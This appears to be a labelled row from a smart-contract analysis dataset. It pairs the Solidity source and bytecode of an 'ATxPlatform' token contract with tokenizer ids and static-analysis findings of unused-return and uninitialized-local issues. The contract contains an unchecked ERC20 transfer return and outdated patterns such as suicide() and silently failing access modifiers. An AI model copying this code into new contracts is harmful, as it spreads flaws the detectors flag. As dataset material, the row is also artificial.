60246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610cbf57600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220a33b37e59ac13f38c44d3107a7854fae1e940c28b20c550a7da4bf276ad8b82c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2509, 2278, 2581, 2094, 2581, 2509, 8586, 2692, 19961, 26337, 2278, 2683, 27009, 2063, 23777, 26976, 2692, 2050, 21084, 20958, 2497, 2620, 27531, 2063, 29097, 24087, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 2050, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 3206, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,116
0x963d62ed58afb5701603b8d7247f423bae0deb35
pragma solidity ^0.4.18; /** * @title General MultiEventsHistory user. * */ contract MultiEventsHistoryAdapter { /** * @dev It is address of MultiEventsHistory caller assuming we are inside of delegate call. */ function _self() constant internal returns (address) { return msg.sender; } } /// @title Fund Tokens Platform Emitter. /// /// Contains all the original event emitting function definitions and events. /// In case of new events needed later, additional emitters can be developed. /// All the functions is meant to be called using delegatecall. contract Emitter is MultiEventsHistoryAdapter { event Transfer(address indexed from, address indexed to, bytes32 indexed symbol, uint value, string reference); event Issue(bytes32 indexed symbol, uint value, address indexed by); event Revoke(bytes32 indexed symbol, uint value, address indexed by); event OwnershipChange(address indexed from, address indexed to, bytes32 indexed symbol); event Approve(address indexed from, address indexed spender, bytes32 indexed symbol, uint value); event Recovery(address indexed from, address indexed to, address by); event Error(uint errorCode); function emitTransfer(address _from, address _to, bytes32 _symbol, uint _value, string _reference) public { Transfer(_from, _to, _symbol, _value, _reference); } function emitIssue(bytes32 _symbol, uint _value, address _by) public { Issue(_symbol, _value, _by); } function emitRevoke(bytes32 _symbol, uint _value, address _by) public { Revoke(_symbol, _value, _by); } function emitOwnershipChange(address _from, address _to, bytes32 _symbol) public { OwnershipChange(_from, _to, _symbol); } function emitApprove(address _from, address _spender, bytes32 _symbol, uint _value) public { Approve(_from, _spender, _symbol, _value); } function emitRecovery(address _from, address _to, address _by) public { Recovery(_from, _to, _by); } function emitError(uint _errorCode) public { Error(_errorCode); } } /** * @title Owned contract with safe ownership pass. * * Note: all the non constant functions return false instead of throwing in case if state change * didn't happen yet. */ contract Owned { /** * Contract owner address */ address public contractOwner; /** * Contract owner address */ address public pendingContractOwner; function Owned() { contractOwner = msg.sender; } /** * @dev Owner check modifier */ modifier onlyContractOwner() { if (contractOwner == msg.sender) { _; } } /** * @dev Destroy contract and scrub a data * @notice Only owner can call it */ function destroy() onlyContractOwner { suicide(msg.sender); } /** * Prepares ownership pass. * * Can only be called by current owner. * * @param _to address of the next owner. 0x0 is not allowed. * * @return success. */ function changeContractOwnership(address _to) onlyContractOwner() returns(bool) { if (_to == 0x0) { return false; } pendingContractOwner = _to; return true; } /** * Finalize ownership pass. * * Can only be called by pending owner. * * @return success. */ function claimContractOwnership() returns(bool) { if (pendingContractOwner != msg.sender) { return false; } contractOwner = pendingContractOwner; delete pendingContractOwner; return true; } } contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); string public symbol; function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); } /** * @title Generic owned destroyable contract */ contract Object is Owned { /** * Common result code. Means everything is fine. */ uint constant OK = 1; uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8; function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) { for(uint i=0;i<tokens.length;i++) { address token = tokens[i]; uint balance = ERC20Interface(token).balanceOf(this); if(balance != 0) ERC20Interface(token).transfer(_to,balance); } return OK; } function checkOnlyContractOwner() internal constant returns(uint) { if (contractOwner == msg.sender) { return OK; } return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ProxyEventsEmitter { function emitTransfer(address _from, address _to, uint _value) public; function emitApprove(address _from, address _spender, uint _value) public; } /// @title Fund Tokens Platform. /// /// Platform uses MultiEventsHistory contract to keep events, so that in case it needs to be redeployed /// at some point, all the events keep appearing at the same place. /// /// Every asset is meant to be used through a proxy contract. Only one proxy contract have access /// rights for a particular asset. /// /// Features: transfers, allowances, supply adjustments, lost wallet access recovery. /// /// Note: all the non constant functions return false instead of throwing in case if state change /// didn't happen yet. /// BMCPlatformInterface compatibility contract ATxPlatform is Object, Emitter { uint constant ATX_PLATFORM_SCOPE = 80000; uint constant ATX_PLATFORM_PROXY_ALREADY_EXISTS = ATX_PLATFORM_SCOPE + 1; uint constant ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF = ATX_PLATFORM_SCOPE + 2; uint constant ATX_PLATFORM_INVALID_VALUE = ATX_PLATFORM_SCOPE + 3; uint constant ATX_PLATFORM_INSUFFICIENT_BALANCE = ATX_PLATFORM_SCOPE + 4; uint constant ATX_PLATFORM_NOT_ENOUGH_ALLOWANCE = ATX_PLATFORM_SCOPE + 5; uint constant ATX_PLATFORM_ASSET_ALREADY_ISSUED = ATX_PLATFORM_SCOPE + 6; uint constant ATX_PLATFORM_CANNOT_ISSUE_FIXED_ASSET_WITH_INVALID_VALUE = ATX_PLATFORM_SCOPE + 7; uint constant ATX_PLATFORM_CANNOT_REISSUE_FIXED_ASSET = ATX_PLATFORM_SCOPE + 8; uint constant ATX_PLATFORM_SUPPLY_OVERFLOW = ATX_PLATFORM_SCOPE + 9; uint constant ATX_PLATFORM_NOT_ENOUGH_TOKENS = ATX_PLATFORM_SCOPE + 10; uint constant ATX_PLATFORM_INVALID_NEW_OWNER = ATX_PLATFORM_SCOPE + 11; uint constant ATX_PLATFORM_ALREADY_TRUSTED = ATX_PLATFORM_SCOPE + 12; uint constant ATX_PLATFORM_SHOULD_RECOVER_TO_NEW_ADDRESS = ATX_PLATFORM_SCOPE + 13; uint constant ATX_PLATFORM_ASSET_IS_NOT_ISSUED = ATX_PLATFORM_SCOPE + 14; uint constant ATX_PLATFORM_INVALID_INVOCATION = ATX_PLATFORM_SCOPE + 15; using SafeMath for uint; /// @title Structure of a particular asset. struct Asset { uint owner; // Asset's owner id. uint totalSupply; // Asset's total supply. string name; // Asset's name, for information purposes. string description; // Asset's description, for information purposes. bool isReissuable; // Indicates if asset have dynamic or fixed supply. uint8 baseUnit; // Proposed number of decimals. mapping(uint => Wallet) wallets; // Holders wallets. mapping(uint => bool) partowners; // Part-owners of an asset; have less access rights than owner } /// @title Structure of an asset holder wallet for particular asset. struct Wallet { uint balance; mapping(uint => uint) allowance; } /// @title Structure of an asset holder. struct Holder { address addr; // Current address of the holder. mapping(address => bool) trust; // Addresses that are trusted with recovery proocedure. } /// @dev Iterable mapping pattern is used for holders. /// @dev This is an access address mapping. Many addresses may have access to a single holder. uint public holdersCount; mapping(uint => Holder) public holders; mapping(address => uint) holderIndex; /// @dev List of symbols that exist in a platform bytes32[] public symbols; /// @dev Asset symbol to asset mapping. mapping(bytes32 => Asset) public assets; /// @dev Asset symbol to asset proxy mapping. mapping(bytes32 => address) public proxies; /// @dev Co-owners of a platform. Has less access rights than a root contract owner mapping(address => bool) public partowners; /// @dev Should use interface of the emitter, but address of events history. address public eventsHistory; /// @dev Emits Error if called not by asset owner. modifier onlyOwner(bytes32 _symbol) { if (isOwner(msg.sender, _symbol)) { _; } } /// @dev UNAUTHORIZED if called not by one of symbol's partowners or owner modifier onlyOneOfOwners(bytes32 _symbol) { if (hasAssetRights(msg.sender, _symbol)) { _; } } /// @dev UNAUTHORIZED if called not by one of partowners or contract's owner modifier onlyOneOfContractOwners() { if (contractOwner == msg.sender || partowners[msg.sender]) { _; } } /// @dev Emits Error if called not by asset proxy. modifier onlyProxy(bytes32 _symbol) { if (proxies[_symbol] == msg.sender) { _; } } /// @dev Emits Error if _from doesn't trust _to. modifier checkTrust(address _from, address _to) { if (isTrusted(_from, _to)) { _; } } function() payable public { revert(); } /// @notice Trust an address to perform recovery procedure for the caller. /// /// @return success. function trust() external returns (uint) { uint fromId = _createHolderId(msg.sender); // Should trust to another address. if (msg.sender == contractOwner) { return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF); } // Should trust to yet untrusted. if (isTrusted(msg.sender, contractOwner)) { return _error(ATX_PLATFORM_ALREADY_TRUSTED); } holders[fromId].trust[contractOwner] = true; return OK; } /// @notice Revoke trust to perform recovery procedure from an address. /// /// @return success. function distrust() external checkTrust(msg.sender, contractOwner) returns (uint) { holders[getHolderId(msg.sender)].trust[contractOwner] = false; return OK; } /// @notice Adds a co-owner of a contract. Might be more than one co-owner /// /// @dev Allowed to only contract onwer /// /// @param _partowner a co-owner of a contract /// /// @return result code of an operation function addPartOwner(address _partowner) external onlyContractOwner returns (uint) { partowners[_partowner] = true; return OK; } /// @notice emoves a co-owner of a contract /// /// @dev Should be performed only by root contract owner /// /// @param _partowner a co-owner of a contract /// /// @return result code of an operation function removePartOwner(address _partowner) external onlyContractOwner returns (uint) { delete partowners[_partowner]; return OK; } /// @notice Sets EventsHstory contract address. /// /// @dev Can be set only by owner. /// /// @param _eventsHistory MultiEventsHistory contract address. /// /// @return success. function setupEventsHistory(address _eventsHistory) external onlyContractOwner returns (uint errorCode) { eventsHistory = _eventsHistory; return OK; } /// @notice Adds a co-owner for an asset with provided symbol. /// @dev Should be performed by a contract owner or its co-owners /// /// @param _symbol asset's symbol /// @param _partowner a co-owner of an asset /// /// @return errorCode result code of an operation function addAssetPartOwner(bytes32 _symbol, address _partowner) external onlyOneOfOwners(_symbol) returns (uint) { uint holderId = _createHolderId(_partowner); assets[_symbol].partowners[holderId] = true; Emitter(eventsHistory).emitOwnershipChange(0x0, _partowner, _symbol); return OK; } /// @notice Removes a co-owner for an asset with provided symbol. /// @dev Should be performed by a contract owner or its co-owners /// /// @param _symbol asset's symbol /// @param _partowner a co-owner of an asset /// /// @return errorCode result code of an operation function removeAssetPartOwner(bytes32 _symbol, address _partowner) external onlyOneOfOwners(_symbol) returns (uint) { uint holderId = getHolderId(_partowner); delete assets[_symbol].partowners[holderId]; Emitter(eventsHistory).emitOwnershipChange(_partowner, 0x0, _symbol); return OK; } function massTransfer(address[] addresses, uint[] values, bytes32 _symbol) external onlyOneOfOwners(_symbol) returns (uint errorCode, uint count) { require(addresses.length == values.length); require(_symbol != 0x0); uint senderId = _createHolderId(msg.sender); uint success = 0; for (uint idx = 0; idx < addresses.length && msg.gas > 110000; ++idx) { uint value = values[idx]; if (value == 0) { _error(ATX_PLATFORM_INVALID_VALUE); continue; } if (_balanceOf(senderId, _symbol) < value) { _error(ATX_PLATFORM_INSUFFICIENT_BALANCE); continue; } if (msg.sender == addresses[idx]) { _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF); continue; } uint holderId = _createHolderId(addresses[idx]); _transferDirect(senderId, holderId, value, _symbol); Emitter(eventsHistory).emitTransfer(msg.sender, addresses[idx], _symbol, value, ""); ++success; } return (OK, success); } /// @notice Provides a cheap way to get number of symbols registered in a platform /// /// @return number of symbols function symbolsCount() public view returns (uint) { return symbols.length; } /// @notice Check asset existance. /// /// @param _symbol asset symbol. /// /// @return asset existance. function isCreated(bytes32 _symbol) public view returns (bool) { return assets[_symbol].owner != 0; } /// @notice Returns asset decimals. /// /// @param _symbol asset symbol. /// /// @return asset decimals. function baseUnit(bytes32 _symbol) public view returns (uint8) { return assets[_symbol].baseUnit; } /// @notice Returns asset name. /// /// @param _symbol asset symbol. /// /// @return asset name. function name(bytes32 _symbol) public view returns (string) { return assets[_symbol].name; } /// @notice Returns asset description. /// /// @param _symbol asset symbol. /// /// @return asset description. function description(bytes32 _symbol) public view returns (string) { return assets[_symbol].description; } /// @notice Returns asset reissuability. /// /// @param _symbol asset symbol. /// /// @return asset reissuability. function isReissuable(bytes32 _symbol) public view returns (bool) { return assets[_symbol].isReissuable; } /// @notice Returns asset owner address. /// /// @param _symbol asset symbol. /// /// @return asset owner address. function owner(bytes32 _symbol) public view returns (address) { return holders[assets[_symbol].owner].addr; } /// @notice Check if specified address has asset owner rights. /// /// @param _owner address to check. /// @param _symbol asset symbol. /// /// @return owner rights availability. function isOwner(address _owner, bytes32 _symbol) public view returns (bool) { return isCreated(_symbol) && (assets[_symbol].owner == getHolderId(_owner)); } /// @notice Checks if a specified address has asset owner or co-owner rights. /// /// @param _owner address to check. /// @param _symbol asset symbol. /// /// @return owner rights availability. function hasAssetRights(address _owner, bytes32 _symbol) public view returns (bool) { uint holderId = getHolderId(_owner); return isCreated(_symbol) && (assets[_symbol].owner == holderId || assets[_symbol].partowners[holderId]); } /// @notice Returns asset total supply. /// /// @param _symbol asset symbol. /// /// @return asset total supply. function totalSupply(bytes32 _symbol) public view returns (uint) { return assets[_symbol].totalSupply; } /// @notice Returns asset balance for a particular holder. /// /// @param _holder holder address. /// @param _symbol asset symbol. /// /// @return holder balance. function balanceOf(address _holder, bytes32 _symbol) public view returns (uint) { return _balanceOf(getHolderId(_holder), _symbol); } /// @notice Returns asset balance for a particular holder id. /// /// @param _holderId holder id. /// @param _symbol asset symbol. /// /// @return holder balance. function _balanceOf(uint _holderId, bytes32 _symbol) public view returns (uint) { return assets[_symbol].wallets[_holderId].balance; } /// @notice Returns current address for a particular holder id. /// /// @param _holderId holder id. /// /// @return holder address. function _address(uint _holderId) public view returns (address) { return holders[_holderId].addr; } function checkIsAssetPartOwner(bytes32 _symbol, address _partowner) public view returns (bool) { require(_partowner != 0x0); uint holderId = getHolderId(_partowner); return assets[_symbol].partowners[holderId]; } /// @notice Sets Proxy contract address for a particular asset. /// /// Can be set only once for each asset, and only by contract owner. /// /// @param _proxyAddress Proxy contract address. /// @param _symbol asset symbol. /// /// @return success. function setProxy(address _proxyAddress, bytes32 _symbol) public onlyOneOfContractOwners returns (uint) { if (proxies[_symbol] != 0x0) { return ATX_PLATFORM_PROXY_ALREADY_EXISTS; } proxies[_symbol] = _proxyAddress; return OK; } /// @notice Returns holder id for the specified address. /// /// @param _holder holder address. /// /// @return holder id. function getHolderId(address _holder) public view returns (uint) { return holderIndex[_holder]; } /// @notice Transfers asset balance between holders wallets. /// /// @dev Can only be called by asset proxy. /// /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _symbol asset symbol. /// @param _reference transfer comment to be included in a Transfer event. /// @param _sender transfer initiator address. /// /// @return success. function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) onlyProxy(_symbol) public returns (uint) { return _transfer(getHolderId(_sender), _createHolderId(_to), _value, _symbol, _reference, getHolderId(_sender)); } /// @notice Issues new asset token on the platform. /// /// Tokens issued with this call go straight to contract owner. /// Each symbol can be issued only once, and only by contract owner. /// /// @param _symbol asset symbol. /// @param _value amount of tokens to issue immediately. /// @param _name name of the asset. /// @param _description description for the asset. /// @param _baseUnit number of decimals. /// @param _isReissuable dynamic or fixed supply. /// /// @return success. function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) public returns (uint) { return issueAssetToAddress(_symbol, _value, _name, _description, _baseUnit, _isReissuable, msg.sender); } /// @notice Issues new asset token on the platform. /// /// Tokens issued with this call go straight to contract owner. /// Each symbol can be issued only once, and only by contract owner. /// /// @param _symbol asset symbol. /// @param _value amount of tokens to issue immediately. /// @param _name name of the asset. /// @param _description description for the asset. /// @param _baseUnit number of decimals. /// @param _isReissuable dynamic or fixed supply. /// @param _account address where issued balance will be held /// /// @return success. function issueAssetToAddress(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, address _account) public onlyOneOfContractOwners returns (uint) { // Should have positive value if supply is going to be fixed. if (_value == 0 && !_isReissuable) { return _error(ATX_PLATFORM_CANNOT_ISSUE_FIXED_ASSET_WITH_INVALID_VALUE); } // Should not be issued yet. if (isCreated(_symbol)) { return _error(ATX_PLATFORM_ASSET_ALREADY_ISSUED); } uint holderId = _createHolderId(_account); uint creatorId = _account == msg.sender ? holderId : _createHolderId(msg.sender); symbols.push(_symbol); assets[_symbol] = Asset(creatorId, _value, _name, _description, _isReissuable, _baseUnit); assets[_symbol].wallets[holderId].balance = _value; // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. Emitter(eventsHistory).emitIssue(_symbol, _value, _address(holderId)); return OK; } /// @notice Issues additional asset tokens if the asset have dynamic supply. /// /// Tokens issued with this call go straight to asset owner. /// Can only be called by asset owner. /// /// @param _symbol asset symbol. /// @param _value amount of additional tokens to issue. /// /// @return success. function reissueAsset(bytes32 _symbol, uint _value) public onlyOneOfOwners(_symbol) returns (uint) { // Should have positive value. if (_value == 0) { return _error(ATX_PLATFORM_INVALID_VALUE); } Asset storage asset = assets[_symbol]; // Should have dynamic supply. if (!asset.isReissuable) { return _error(ATX_PLATFORM_CANNOT_REISSUE_FIXED_ASSET); } // Resulting total supply should not overflow. if (asset.totalSupply + _value < asset.totalSupply) { return _error(ATX_PLATFORM_SUPPLY_OVERFLOW); } uint holderId = getHolderId(msg.sender); asset.wallets[holderId].balance = asset.wallets[holderId].balance.add(_value); asset.totalSupply = asset.totalSupply.add(_value); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. Emitter(eventsHistory).emitIssue(_symbol, _value, _address(holderId)); _proxyTransferEvent(0, holderId, _value, _symbol); return OK; } /// @notice Destroys specified amount of senders asset tokens. /// /// @param _symbol asset symbol. /// @param _value amount of tokens to destroy. /// /// @return success. function revokeAsset(bytes32 _symbol, uint _value) public returns (uint) { // Should have positive value. if (_value == 0) { return _error(ATX_PLATFORM_INVALID_VALUE); } Asset storage asset = assets[_symbol]; uint holderId = getHolderId(msg.sender); // Should have enough tokens. if (asset.wallets[holderId].balance < _value) { return _error(ATX_PLATFORM_NOT_ENOUGH_TOKENS); } asset.wallets[holderId].balance = asset.wallets[holderId].balance.sub(_value); asset.totalSupply = asset.totalSupply.sub(_value); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. Emitter(eventsHistory).emitRevoke(_symbol, _value, _address(holderId)); _proxyTransferEvent(holderId, 0, _value, _symbol); return OK; } /// @notice Passes asset ownership to specified address. /// /// Only ownership is changed, balances are not touched. /// Can only be called by asset owner. /// /// @param _symbol asset symbol. /// @param _newOwner address to become a new owner. /// /// @return success. function changeOwnership(bytes32 _symbol, address _newOwner) public onlyOwner(_symbol) returns (uint) { if (_newOwner == 0x0) { return _error(ATX_PLATFORM_INVALID_NEW_OWNER); } Asset storage asset = assets[_symbol]; uint newOwnerId = _createHolderId(_newOwner); // Should pass ownership to another holder. if (asset.owner == newOwnerId) { return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF); } address oldOwner = _address(asset.owner); asset.owner = newOwnerId; // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. Emitter(eventsHistory).emitOwnershipChange(oldOwner, _newOwner, _symbol); return OK; } /// @notice Check if specified holder trusts an address with recovery procedure. /// /// @param _from truster. /// @param _to trustee. /// /// @return trust existance. function isTrusted(address _from, address _to) public view returns (bool) { return holders[getHolderId(_from)].trust[_to]; } /// @notice Perform recovery procedure. /// /// Can be invoked by contract owner if he is trusted by sender only. /// /// This function logic is actually more of an addAccess(uint _holderId, address _to). /// It grants another address access to recovery subject wallets. /// Can only be called by trustee of recovery subject. /// /// @param _from holder address to recover from. /// @param _to address to grant access to. /// /// @return success. function recover(address _from, address _to) checkTrust(_from, msg.sender) public onlyContractOwner returns (uint errorCode) { // We take current holder address because it might not equal _from. // It is possible to recover from any old holder address, but event should have the current one. address from = holders[getHolderId(_from)].addr; holders[getHolderId(_from)].addr = _to; holderIndex[_to] = getHolderId(_from); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: revert this transaction too; // Recursive Call: safe, all changes already made. Emitter(eventsHistory).emitRecovery(from, _to, msg.sender); return OK; } /// @notice Sets asset spending allowance for a specified spender. /// /// @dev Can only be called by asset proxy. /// /// @param _spender holder address to set allowance to. /// @param _value amount to allow. /// @param _symbol asset symbol. /// @param _sender approve initiator address. /// /// @return success. function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) public onlyProxy(_symbol) returns (uint) { return _approve(_createHolderId(_spender), _value, _symbol, _createHolderId(_sender)); } /// @notice Returns asset allowance from one holder to another. /// /// @param _from holder that allowed spending. /// @param _spender holder that is allowed to spend. /// @param _symbol asset symbol. /// /// @return holder to spender allowance. function allowance(address _from, address _spender, bytes32 _symbol) public view returns (uint) { return _allowance(getHolderId(_from), getHolderId(_spender), _symbol); } /// @notice Prforms allowance transfer of asset balance between holders wallets. /// /// @dev Can only be called by asset proxy. /// /// @param _from holder address to take from. /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _symbol asset symbol. /// @param _reference transfer comment to be included in a Transfer event. /// @param _sender allowance transfer initiator address. /// /// @return success. function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public onlyProxy(_symbol) returns (uint) { return _transfer(getHolderId(_from), _createHolderId(_to), _value, _symbol, _reference, getHolderId(_sender)); } /// @notice Transfers asset balance between holders wallets. /// /// @param _fromId holder id to take from. /// @param _toId holder id to give to. /// @param _value amount to transfer. /// @param _symbol asset symbol. function _transferDirect(uint _fromId, uint _toId, uint _value, bytes32 _symbol) internal { assets[_symbol].wallets[_fromId].balance = assets[_symbol].wallets[_fromId].balance.sub(_value); assets[_symbol].wallets[_toId].balance = assets[_symbol].wallets[_toId].balance.add(_value); } /// @notice Transfers asset balance between holders wallets. /// /// @dev Performs sanity checks and takes care of allowances adjustment. /// /// @param _fromId holder id to take from. /// @param _toId holder id to give to. /// @param _value amount to transfer. /// @param _symbol asset symbol. /// @param _reference transfer comment to be included in a Transfer event. /// @param _senderId transfer initiator holder id. /// /// @return success. function _transfer(uint _fromId, uint _toId, uint _value, bytes32 _symbol, string _reference, uint _senderId) internal returns (uint) { // Should not allow to send to oneself. if (_fromId == _toId) { return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF); } // Should have positive value. if (_value == 0) { return _error(ATX_PLATFORM_INVALID_VALUE); } // Should have enough balance. if (_balanceOf(_fromId, _symbol) < _value) { return _error(ATX_PLATFORM_INSUFFICIENT_BALANCE); } // Should have enough allowance. if (_fromId != _senderId && _allowance(_fromId, _senderId, _symbol) < _value) { return _error(ATX_PLATFORM_NOT_ENOUGH_ALLOWANCE); } _transferDirect(_fromId, _toId, _value, _symbol); // Adjust allowance. if (_fromId != _senderId) { assets[_symbol].wallets[_fromId].allowance[_senderId] = assets[_symbol].wallets[_fromId].allowance[_senderId].sub(_value); } // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. Emitter(eventsHistory).emitTransfer(_address(_fromId), _address(_toId), _symbol, _value, _reference); _proxyTransferEvent(_fromId, _toId, _value, _symbol); return OK; } /// @notice Ask asset Proxy contract to emit ERC20 compliant Transfer event. /// /// @param _fromId holder id to take from. /// @param _toId holder id to give to. /// @param _value amount to transfer. /// @param _symbol asset symbol. function _proxyTransferEvent(uint _fromId, uint _toId, uint _value, bytes32 _symbol) internal { if (proxies[_symbol] != 0x0) { // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. ProxyEventsEmitter(proxies[_symbol]).emitTransfer(_address(_fromId), _address(_toId), _value); } } /// @notice Returns holder id for the specified address, creates it if needed. /// /// @param _holder holder address. /// /// @return holder id. function _createHolderId(address _holder) internal returns (uint) { uint holderId = holderIndex[_holder]; if (holderId == 0) { holderId = ++holdersCount; holders[holderId].addr = _holder; holderIndex[_holder] = holderId; } return holderId; } /// @notice Sets asset spending allowance for a specified spender. /// /// Note: to revoke allowance, one needs to set allowance to 0. /// /// @param _spenderId holder id to set allowance for. /// @param _value amount to allow. /// @param _symbol asset symbol. /// @param _senderId approve initiator holder id. /// /// @return success. function _approve(uint _spenderId, uint _value, bytes32 _symbol, uint _senderId) internal returns (uint) { // Asset should exist. if (!isCreated(_symbol)) { return _error(ATX_PLATFORM_ASSET_IS_NOT_ISSUED); } // Should allow to another holder. if (_senderId == _spenderId) { return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF); } // Double Spend Attack checkpoint if (assets[_symbol].wallets[_senderId].allowance[_spenderId] != 0 && _value != 0) { return _error(ATX_PLATFORM_INVALID_INVOCATION); } assets[_symbol].wallets[_senderId].allowance[_spenderId] = _value; // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: revert this transaction too; // Recursive Call: safe, all changes already made. Emitter(eventsHistory).emitApprove(_address(_senderId), _address(_spenderId), _symbol, _value); if (proxies[_symbol] != 0x0) { // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. ProxyEventsEmitter(proxies[_symbol]).emitApprove(_address(_senderId), _address(_spenderId), _value); } return OK; } /// @notice Returns asset allowance from one holder to another. /// /// @param _fromId holder id that allowed spending. /// @param _toId holder id that is allowed to spend. /// @param _symbol asset symbol. /// /// @return holder to spender allowance. function _allowance(uint _fromId, uint _toId, bytes32 _symbol) internal view returns (uint) { return assets[_symbol].wallets[_fromId].allowance[_toId]; } /// @dev Emits Error event with specified error message. /// Should only be used if no state changes happened. /// @param _errorCode code of an error function _error(uint _errorCode) internal returns (uint) { Emitter(eventsHistory).emitError(_errorCode); return _errorCode; } }
0x608060405260043610610293576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302571be31461029857806302927d2014610309578063048ae1bb14610360578063085a4705146103c55780630af3e660146104b95780631286e3931461051057806314712e2f14610567578063161ff662146105f65780631c8d5d38146106eb5780632a11ced0146107705780632f553d31146107dd5780634592cd1d146108265780634d30b6be14610855578063515c1457146108ba578063557f4bc91461097b57806357a96dd0146109d65780635aa77d3c14610aab5780635b7da33814610b02578063638a9ce914610b51578063648bf77414610bb65780636706954414610c2d5780636713e23014610d415780636825c84314610dbc578063691f343114610e295780636932af3614610ed35780636b4ed21b14610f445780636f9fdd6614610f6f57806383197ef014610f9a5780638c382e2214610fb15780639fda5b661461101a578063a7dd7e3714611156578063a831751d14611181578063a9612f72146111d8578063abafaa1614611249578063b524abcf146112a4578063bebcc045146112e9578063c4eeeeb914611393578063c70bbc13146113dc578063ca448a8814611437578063cb59646614611486578063ccc11f11146114e1578063ccce413b1461154a578063cdeb148514611593578063ce606ee01461160f578063d54c8c8714611666578063d8f9659b146116e1578063dc86e6f01461177b578063df26ca08146117c6578063e0873c06146117f3578063e96b462a14611842578063ea14457e146118ab578063ec77809f1461192e578063ecac7f4b14611993578063f07629f8146119be578063fd83915e14611a15575b600080fd5b3480156102a457600080fd5b506102c76004803603810190808035600019169060200190929190505050611a7a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561031557600080fd5b5061034a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919